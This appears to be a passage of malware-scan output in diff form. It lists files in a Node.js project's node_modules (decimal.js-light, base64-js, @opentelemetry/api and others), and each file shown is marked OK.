+/scan/node_modules/call-bind-apply-helpers/.eslintrc: OK
+/scan/node_modules/call-bind-apply-helpers/index.js: OK
+/scan/node_modules/call-bind-apply-helpers/applyBind.js: OK
+/scan/node_modules/call-bind-apply-helpers/actualApply.js: OK
+/scan/node_modules/call-bind-apply-helpers/reflectApply.js: OK
+/scan/node_modules/call-bind-apply-helpers/functionCall.js: OK
+/scan/node_modules/call-bind-apply-helpers/README.md: OK
+/scan/node_modules/call-bind-apply-helpers/package.json: OK
+/scan/node_modules/call-bind-apply-helpers/.github/FUNDING.yml: OK
+/scan/node_modules/call-bind-apply-helpers/tsconfig.json: OK
+/scan/node_modules/call-bind-apply-helpers/functionApply.d.ts: OK
+/scan/node_modules/call-bind-apply-helpers/.nycrc: OK
+/scan/node_modules/call-bind-apply-helpers/index.d.ts: OK
+/scan/node_modules/call-bind-apply-helpers/applyBind.d.ts: OK
+/scan/node_modules/call-bind-apply-helpers/actualApply.d.ts: OK
+/scan/node_modules/decimal.js-light/decimal.js: OK
+/scan/node_modules/decimal.js-light/CHANGELOG.md: OK
+/scan/node_modules/decimal.js-light/LICENCE.md: OK
+/scan/node_modules/decimal.js-light/decimal.min.js: OK
+/scan/node_modules/decimal.js-light/decimal.mjs: OK
+/scan/node_modules/decimal.js-light/README.md: OK
+/scan/node_modules/decimal.js-light/package.json: OK
+/scan/node_modules/decimal.js-light/decimal.d.ts: OK
+/scan/node_modules/decimal.js-light/doc/decimal.js.map: OK
+/scan/node_modules/decimal.js-light/doc/API.html: OK
+/scan/node_modules/object-hash/LICENSE: OK
+/scan/node_modules/object-hash/dist/object_hash.js: OK
+/scan/node_modules/object-hash/index.js: OK
+/scan/node_modules/object-hash/readme.markdown: OK
+/scan/node_modules/object-hash/package.json: OK
+/scan/node_modules/base64-js/base64js.min.js: OK
+/scan/node_modules/base64-js/LICENSE: OK
+/scan/node_modules/base64-js/index.js: OK
+/scan/node_modules/base64-js/README.md: OK
+/scan/node_modules/base64-js/package.json: OK
+/scan/node_modules/base64-js/index.d.ts: OK
+/scan/node_modules/@opentelemetry/api/LICENSE: OK
+/scan/node_modules/@opentelemetry/api/README.md: OK
+/scan/node_modules/@opentelemetry/api/package.json: OK
+/scan/node_modules/@opentelemetry/api/build/esm/metrics/NoopMeter.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/metrics/MeterProvider.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/metrics/Metric.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/metrics/NoopMeter.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/metrics/NoopMeter.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/metrics/Meter.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/metrics/Meter.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/metrics/MeterProvider.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/metrics/NoopMeterProvider.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/metrics/Metric.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/metrics/Meter.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/metrics/NoopMeterProvider.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/metrics/Metric.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/metrics/MeterProvider.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/metrics/NoopMeterProvider.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/experimental/trace/SugaredOptions.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/experimental/trace/SugaredOptions.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/experimental/trace/SugaredOptions.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/experimental/trace/SugaredTracer.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/experimental/trace/SugaredTracer.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/experimental/trace/SugaredTracer.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/experimental/index.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/experimental/index.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/experimental/index.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/version.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/diag/types.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/diag/types.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/diag/types.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/diag/ComponentLogger.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/diag/internal/logLevelLogger.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/diag/internal/logLevelLogger.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/diag/internal/noopLogger.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/diag/internal/logLevelLogger.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/diag/internal/noopLogger.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/diag/internal/noopLogger.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/diag/ComponentLogger.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/diag/ComponentLogger.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/diag/consoleLogger.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/diag/consoleLogger.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/diag/consoleLogger.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace-api.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/context/NoopContextManager.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/context/types.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/context/types.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/context/types.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/context/NoopContextManager.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/context/NoopContextManager.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/context/context.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/context/context.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/context/context.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/tracer.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/spancontext-utils.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/tracer_options.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/SamplingResult.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/ProxyTracerProvider.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/SpanOptions.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/NoopTracer.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/span.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/attributes.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/trace_flags.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/SamplingResult.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/Sampler.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/span_context.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/spancontext-utils.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/trace_state.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/tracer_provider.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/context-utils.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/ProxyTracer.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/link.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/context-utils.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/span_kind.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/internal/tracestate-impl.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/internal/tracestate-impl.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/internal/utils.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/internal/tracestate-validators.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/internal/tracestate-validators.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/internal/tracestate-impl.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/internal/utils.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/internal/utils.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/internal/tracestate-validators.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/ProxyTracer.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/ProxyTracerProvider.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/SpanOptions.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/NonRecordingSpan.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/NoopTracer.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/tracer_provider.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/span_kind.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/attributes.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/span_context.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/NoopTracerProvider.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/SpanOptions.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/trace_flags.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/trace_state.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/spancontext-utils.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/Sampler.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/NoopTracerProvider.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/Sampler.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/context-utils.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/ProxyTracerProvider.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/invalid-span-constants.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/NonRecordingSpan.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/invalid-span-constants.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/status.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/link.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/SamplingResult.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/trace_state.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/tracer.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/tracer_options.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/tracer_options.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/span_context.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/span.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/trace_flags.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/tracer_provider.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/invalid-span-constants.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/status.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/span.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/NonRecordingSpan.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/NoopTracer.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/NoopTracerProvider.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/link.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/status.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/attributes.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/tracer.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/ProxyTracer.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace/span_kind.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/propagation-api.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/metrics-api.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/internal/semver.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/internal/global-utils.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/internal/global-utils.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/internal/semver.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/internal/semver.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/internal/global-utils.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/index.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace-api.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/context-api.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/version.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/trace-api.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/propagation-api.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/context-api.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/metrics-api.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/metrics-api.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/common/Attributes.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/common/Exception.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/common/Time.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/common/Exception.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/common/Attributes.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/common/Time.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/common/Exception.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/common/Time.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/common/Attributes.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/propagation-api.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/propagation/NoopTextMapPropagator.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/propagation/NoopTextMapPropagator.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/propagation/TextMapPropagator.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/propagation/NoopTextMapPropagator.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/propagation/TextMapPropagator.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/propagation/TextMapPropagator.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/diag-api.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/index.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/api/metrics.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/api/trace.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/api/propagation.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/api/metrics.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/api/trace.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/api/diag.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/api/trace.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/api/propagation.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/api/metrics.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/api/context.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/api/context.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/api/propagation.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/api/context.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/api/diag.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/api/diag.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/version.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/index.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/baggage/types.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/baggage/types.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/baggage/types.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/baggage/context-helpers.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/baggage/internal/symbol.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/baggage/internal/baggage-impl.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/baggage/internal/symbol.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/baggage/internal/symbol.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/baggage/internal/baggage-impl.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/baggage/internal/baggage-impl.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/baggage/context-helpers.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/baggage/context-helpers.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/baggage/utils.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esm/baggage/utils.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/baggage/utils.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esm/context-api.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/diag-api.js: OK
+/scan/node_modules/@opentelemetry/api/build/esm/diag-api.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/metrics/NoopMeter.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/metrics/MeterProvider.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/metrics/Metric.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/metrics/NoopMeter.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/metrics/NoopMeter.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/metrics/Meter.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/metrics/Meter.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/metrics/MeterProvider.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/metrics/NoopMeterProvider.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/metrics/Metric.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/metrics/Meter.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/metrics/NoopMeterProvider.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/metrics/Metric.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/metrics/MeterProvider.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/metrics/NoopMeterProvider.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/experimental/trace/SugaredOptions.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/experimental/trace/SugaredOptions.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/experimental/trace/SugaredOptions.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/experimental/trace/SugaredTracer.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/experimental/trace/SugaredTracer.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/experimental/trace/SugaredTracer.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/experimental/index.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/experimental/index.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/experimental/index.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/version.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/diag/types.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/diag/types.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/diag/types.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/diag/ComponentLogger.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/diag/internal/logLevelLogger.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/diag/internal/logLevelLogger.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/diag/internal/noopLogger.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/diag/internal/logLevelLogger.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/diag/internal/noopLogger.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/diag/internal/noopLogger.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/diag/ComponentLogger.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/diag/ComponentLogger.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/diag/consoleLogger.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/diag/consoleLogger.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/diag/consoleLogger.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace-api.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/context/NoopContextManager.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/context/types.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/context/types.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/context/types.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/context/NoopContextManager.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/context/NoopContextManager.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/context/context.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/context/context.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/context/context.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/tracer.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/spancontext-utils.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/tracer_options.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/SamplingResult.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/ProxyTracerProvider.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/SpanOptions.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/NoopTracer.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/span.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/attributes.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/trace_flags.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/SamplingResult.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/Sampler.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/span_context.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/spancontext-utils.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/trace_state.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/tracer_provider.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/context-utils.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/ProxyTracer.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/link.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/context-utils.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/span_kind.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/internal/tracestate-impl.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/internal/tracestate-impl.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/internal/utils.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/internal/tracestate-validators.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/internal/tracestate-validators.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/internal/tracestate-impl.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/internal/utils.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/internal/utils.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/internal/tracestate-validators.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/ProxyTracer.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/ProxyTracerProvider.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/SpanOptions.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/NonRecordingSpan.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/NoopTracer.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/tracer_provider.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/span_kind.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/attributes.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/span_context.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/NoopTracerProvider.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/SpanOptions.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/trace_flags.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/trace_state.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/spancontext-utils.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/Sampler.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/NoopTracerProvider.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/Sampler.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/context-utils.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/ProxyTracerProvider.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/invalid-span-constants.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/NonRecordingSpan.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/invalid-span-constants.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/status.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/link.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/SamplingResult.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/trace_state.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/tracer.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/tracer_options.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/tracer_options.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/span_context.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/span.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/trace_flags.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/tracer_provider.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/invalid-span-constants.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/status.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/span.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/NonRecordingSpan.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/NoopTracer.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/NoopTracerProvider.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/link.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/status.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/attributes.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/tracer.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/ProxyTracer.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace/span_kind.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/propagation-api.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/metrics-api.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/internal/semver.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/internal/global-utils.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/internal/global-utils.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/internal/semver.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/internal/semver.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/internal/global-utils.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/index.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace-api.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/context-api.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/version.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/trace-api.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/propagation-api.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/context-api.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/metrics-api.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/metrics-api.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/common/Attributes.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/common/Exception.js: OK
